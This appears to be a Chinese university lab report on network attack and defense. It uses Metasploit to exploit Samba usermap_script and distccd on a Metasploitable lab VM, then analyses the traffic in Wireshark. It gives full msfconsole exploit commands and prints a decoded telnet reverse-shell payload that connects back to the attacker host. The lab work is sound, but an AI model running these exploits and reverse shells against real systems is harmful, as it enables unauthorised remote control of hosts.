20252914 2025-2026-2 《网络攻防实践》第7次作业
20252914 2025-2026-2 《网络攻防实践》第7周作业
1.知识点梳理与总结
一. 基础概念知识点
Metasploit(MSF):开源渗透测试框架,集成漏洞利用、载荷、编码、监听、后渗透等全流程功能,是网络渗透核心工具,常用入口为msfconsole控制台。
Samba 服务:Linux/Unix 系统实现 SMB/CIFS 协议的服务,用于和 Windows 系统共享文件、打印机,内网环境常用,配置不当易出现高危漏洞。
usermap_script 漏洞:Samba 服务经典远程命令执行漏洞,漏洞成因是 Samba 处理用户名映射脚本时未做输入过滤,攻击者可构造恶意数据包注入系统命令,实现远程代码执行。
二. MSF 核心模块知识点
Exploit(攻击模块):exploit/multi/samba/usermap_script 是专门针对该 Samba 漏洞的利用模块,承载漏洞触发的攻击代码。
Payload(载荷):攻击成功后在目标机器执行的恶意程序,本实验选用远程 Shell 载荷,分为正向 Shell(主动连接靶机)、反向 Shell(靶机主动连接攻击机,更易绕过防火墙)。
三. 渗透参数核心含义
RHOST:目标 Linux 靶机的 IP 地址,指定攻击目标。
LHOST:攻击机本地 IP 地址,反向 Shell 时用于靶机回连地址。
TARGET:指定目标系统版本类型,适配对应漏洞利用方式。
四. 渗透流程核心逻辑
启动 MSF 控制台,加载对应 Samba 漏洞利用模块;
配置攻击载荷与必要网络参数;
执行攻击,利用漏洞触发远程代码执行;
成功获取靶机远程命令行 Shell,查看系统权限、验证渗透成果。
2.实验过程
一、使用Metasploit进行Linux远程渗透攻击
任务具体要求:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。
Kali虚拟机IP地址:192.168.200.6
Metasploitable虚拟机IP地址:192.168.200.11
连通性测试:

kali虚拟机输入指令msfconsole启动Metasploit渗透软件:

之后输入指令search samba查找samba服务漏洞模块:

接着输入指令search usermap_script查找samba服务的usermap_script漏洞模块:

直接输入指令use exploit/multi/samba/usermap_script使用该漏洞模块进行攻击:

执行show payloads命令,查看该模块所支持的攻击载荷:

选择反弹Shell载荷(MSF默认使用反弹Shell,可以绕防火墙、同时内网无需配置、成功率最高、适配该漏洞命令执行的特性)
set payload cmd/unix/reverse_netcat

之后就是配置相关地址:
配置靶机IP地址:set RHOSTS 192.168.200.11
配置攻击机监听IP地址:set LHOST 192.168.200.6

输入指令exploit进行攻击:

输入ifconfig查看IP:

攻击成功!
二、攻防对抗实践
具体要求:
-
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
-
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
从端口扫描 → 漏洞利用 → 获取Shell → 后续操作
kali机执行指令:nmap --script vuln 192.168.200.11

分析扫描结果:
| 端口 | 服务 | 说明 |
|---|---|---|
| 21 | FTP | 文件传输服务 |
| 22 | SSH | 远程登录 |
| 23 | Telnet | 明文远程管理 |
| 25 | SMTP | 邮件服务 |
| 53 | DNS | 域名解析 |
| 80 | HTTP | Apache 网页服务 |
| 139/445 | NetBIOS/SMB | Samba 共享服务 |
| 3306 | MySQL | 数据库 |
| 5432 | PostgreSQL | 数据库 |
| 8009 | AJP13 | Tomcat 关联服务 |
| 8180 | Tomcat 网页端口 | 后台管理、站点服务 |
已扫描出的高危漏洞:
- Apache HTTP 漏洞 CVE-2011-3192
漏洞类型:拒绝服务 DoS
危害:构造特殊 HTTP 字节范围请求,可直接打垮 Apache 服务器,造成网站瘫痪。 - SSL 相关多个高危漏洞
POODLE 漏洞 CVE-2014-3566
SSLv3.0 协议漏洞,中间人可窃听解密敏感数据。
弱 DH 密钥组
加密密钥长度仅 1024 位,强度过低,容易被破解、窃听通信。
SSL CCS 注入 CVE-2014-0224
高危中间人漏洞,可劫持会话、伪造通信、窃取账号密码。
……
尝试利用distccd 远程命令执行(3632 端口)漏洞:
msf 步骤:
msfconsole
search distccd
use exploit/unix/misc/distcc_exec
set RHOST 192.168.200.11
set PAYLOAD cmd/unix/reverse
set LHOST 192.168.200.6
exploit

ifconfig查看:

攻击成功!
防守方对Wireshark攻击流量分析:
输入tcp.port == 3632筛选 TCP 3632 端口

追踪 TCP 三次握手:

- 字段含义拆解
- 协议头标识
DIST00000001distccd 协议固定包头,标识这是合法 distcc 通信数据包,用来骗过服务校验。 - 参数个数
ARGC00000008代表后面跟 8 个参数,模拟正常编译传参格式。 - 关键恶意参数(攻击核心)
plaintext
ARGV00000002sh
ARGV00000002-c
ARGV00000007sh -c '(sleep 3860|telnet 192.168.200.6 4444|while : ; do sh && break; done 2>&1|telnet 192.168.200.6 4444 >/dev/null 2>&1 &)'
对应:
调用系统 sh 命令
用 -c 执行后面整段恶意脚本
恶意脚本功能:
telnet 192.168.200.6 4444:靶机主动连接攻击机 192.168.200.6 的 4444 端口
循环拉起 /bin/sh 交互式 Shell
标准错误、标准输出全部重定向到反弹连接
后台静默运行 &,持久化不中断
是一条 Telnet 方式反向 Shell,把靶机命令行完全交给攻击机控制。 - 伪装正常编译参数
plaintext
ARGV00000001#
ARGV00000002-c
ARGV00000006main.c
ARGV00000002-o
ARGV00000006main.o
伪造编译:gcc -c main.c -o main.o用来伪装成正常代码编译请求,掩盖恶意命令执行。 - 结尾标识
DOTO0000000ALEyMyHJKZQ、DONE、STAT、SERR、SOUT都是 distccd 协议结束、状态返回固定字段,标志恶意指令发送完毕。
输入tcp.port == 4444筛选 TCP 4444 端口

追踪TCP流:


可以看到攻击方执行ifconfig指令,以及该指令所查询到的信息
3.学习中遇到的问题及解决
问题:kali攻击机执行nmap --script vuln 192.168.200.11指令后 Samba 漏洞检测结果smb-vuln-ms10-061、ms10-054 均为 不存在。脚本执行报错没扫出,但139/445 端口开放 + 靶机是老旧版本,依然存在 usermap_script 漏洞
原因:该脚本没覆盖此老漏洞
4.学习感悟
通过本次使用 Metasploit 对 Linux 靶机 Samba、distccd 等漏洞进行渗透攻击,同时借助 Wireshark 开展攻击流量分析的实践,我收获颇多。
我熟悉了漏洞扫描、模块调用、参数配置、漏洞利用的完整渗透流程,理解了老旧服务版本存在的安全隐患,也掌握了反弹 Shell 的工作原理与优势。同时学会了利用 Wireshark 过滤端口、追踪 TCP 流,能够直观解析攻击载荷、溯源攻击 IP,还原攻击者的命令执行与后续操作行为。
本次实验让我认识到网络攻击与防御是相辅相成的,只有了解渗透攻击的原理和流量特征,才能更好地做好安全防护。也深刻体会到及时修补系统漏洞、关闭无用端口、做好流量监控与日志审计的重要性,今后我会更加注重网络安全防护意识的培养,夯实理论与实操基础。

浙公网安备 33010602011771号